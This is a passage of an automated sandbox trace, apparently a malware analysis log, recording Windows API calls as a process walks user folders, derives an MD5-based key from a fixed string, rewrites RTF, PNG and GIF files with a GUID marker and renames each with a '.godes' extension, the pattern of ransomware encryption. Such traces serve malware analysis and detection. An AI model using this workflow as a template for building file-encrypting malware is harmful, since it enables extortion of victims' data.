lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.557] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.557] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x70d3, lpOverlapped=0x0) returned 1 [0114.558] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.558] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.558] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.558] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.558] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.559] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.559] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.559] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.559] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.559] GetLastError () returned 0x0 [0114.559] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.559] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70d0) returned 0x3323120 [0114.559] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.559] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x70ce, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x70ce, lpOverlapped=0x0) returned 1 [0114.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.559] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x70d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.560] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.560] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.560] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.560] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.560] CloseHandle (hObject=0x624) returned 1 [0114.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.561] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.561] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\vRok2UtD99B94w3KRv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\vrok2utd99b94w3krv.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\vRok2UtD99B94w3KRv.rtf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\vrok2utd99b94w3krv.rtf.godes")) returned 1 [0114.561] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.561] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.562] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6455b50, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0x9dfb4050, ftLastAccessTime.dwHighDateTime=0x1d4cf71, ftLastWriteTime.dwLowDateTime=0x9dfb4050, ftLastWriteTime.dwHighDateTime=0x1d4cf71, nFileSizeHigh=0x0, nFileSizeLow=0x70d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vRok2UtD99B94w3KRv.rtf", cAlternateFileName="VROK2U~1.RTF")) returned 0 [0114.562] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.562] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.562] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.562] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.563] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0114.563] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0114.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0114.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.563] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.563] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.563] PathFindFileNameW (pszPath="") returned="" [0114.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9ebc00, ftCreationTime.dwHighDateTime=0x1d4cfa7, ftLastAccessTime.dwLowDateTime=0xec132ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xec132ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.566] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9ebc00, ftCreationTime.dwHighDateTime=0x1d4cfa7, ftLastAccessTime.dwLowDateTime=0xec132ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xec132ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.566] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97120ec0, ftCreationTime.dwHighDateTime=0x1d4d48c, ftLastAccessTime.dwLowDateTime=0xba8768d0, ftLastAccessTime.dwHighDateTime=0x1d4ccaa, ftLastWriteTime.dwLowDateTime=0xba8768d0, ftLastWriteTime.dwHighDateTime=0x1d4ccaa, nFileSizeHigh=0x0, nFileSizeLow=0x14b1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DpUR93 xREUOdJVi.png", cAlternateFileName="DPUR93~1.PNG")) returned 1 [0114.567] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\DpUR93 xREUOdJVi.png") returned=".png" [0114.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\DpUR93 xREUOdJVi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\dpur93 xreuodjvi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.567] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=84763) returned 1 [0114.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.569] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14af5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.569] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.570] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x14b1b, lpOverlapped=0x0) returned 1 [0114.571] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.571] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.571] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.571] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0114.572] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.572] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.572] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.572] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.572] GetLastError () returned 0x0 [0114.572] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.572] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0114.572] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14b1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.573] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.573] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.573] CloseHandle (hObject=0x624) returned 1 [0114.574] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\DpUR93 xREUOdJVi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\dpur93 xreuodjvi.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\DpUR93 xREUOdJVi.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\dpur93 xreuodjvi.png.godes")) returned 1 [0114.575] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19beb80, ftCreationTime.dwHighDateTime=0x1d4d1fb, ftLastAccessTime.dwLowDateTime=0x8f2b4000, ftLastAccessTime.dwHighDateTime=0x1d4d167, ftLastWriteTime.dwLowDateTime=0x8f2b4000, ftLastWriteTime.dwHighDateTime=0x1d4d167, nFileSizeHigh=0x0, nFileSizeLow=0x1146f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HUu e.png", cAlternateFileName="HUUE~1.PNG")) returned 1 [0114.575] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\HUu e.png") returned=".png" [0114.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\HUu e.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\huu e.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.575] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=70767) returned 1 [0114.575] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.577] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11449, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.577] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.578] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1146f, lpOverlapped=0x0) returned 1 [0114.579] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.579] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.579] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.579] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0114.580] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.580] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.580] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.580] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.580] GetLastError () returned 0x0 [0114.580] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.580] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0114.581] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1146f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.581] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.581] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.581] CloseHandle (hObject=0x624) returned 1 [0114.582] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\HUu e.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\huu e.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\HUu e.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\huu e.png.godes")) returned 1 [0114.583] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe818d230, ftCreationTime.dwHighDateTime=0x1d4cb50, ftLastAccessTime.dwLowDateTime=0xb0fee710, ftLastAccessTime.dwHighDateTime=0x1d4d340, ftLastWriteTime.dwLowDateTime=0xb0fee710, ftLastWriteTime.dwHighDateTime=0x1d4d340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KL GUyg5", cAlternateFileName="KLGUYG~1")) returned 1 [0114.583] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487e1ff0, ftCreationTime.dwHighDateTime=0x1d4d58c, ftLastAccessTime.dwLowDateTime=0x2e6d1cd0, ftLastAccessTime.dwHighDateTime=0x1d4d472, ftLastWriteTime.dwLowDateTime=0x2e6d1cd0, ftLastWriteTime.dwHighDateTime=0x1d4d472, nFileSizeHigh=0x0, nFileSizeLow=0x185f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nf3YcZ LLVZ7 8gtH.gif", cAlternateFileName="NF3YCZ~1.GIF")) returned 1 [0114.583] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\nf3YcZ LLVZ7 8gtH.gif") returned=".gif" [0114.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\nf3YcZ LLVZ7 8gtH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\nf3ycz llvz7 8gth.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.584] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=99832) returned 1 [0114.584] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.585] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x185d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.585] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.587] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x185f8, lpOverlapped=0x0) returned 1 [0114.588] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.588] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.588] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.588] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.589] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.589] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.589] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.589] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.589] GetLastError () returned 0x0 [0114.589] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.589] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.589] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x185f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.589] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.590] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.590] CloseHandle (hObject=0x624) returned 1 [0114.591] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\nf3YcZ LLVZ7 8gtH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\nf3ycz llvz7 8gth.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\nf3YcZ LLVZ7 8gtH.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\nf3ycz llvz7 8gth.gif.godes")) returned 1 [0114.592] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5775970, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0xf1abc990, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xf1abc990, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xGbG96m2n", cAlternateFileName="XGBG96~1")) returned 1 [0114.592] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5775970, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0xf1abc990, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xf1abc990, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xGbG96m2n", cAlternateFileName="XGBG96~1")) returned 0 [0114.592] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.592] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.592] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.592] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 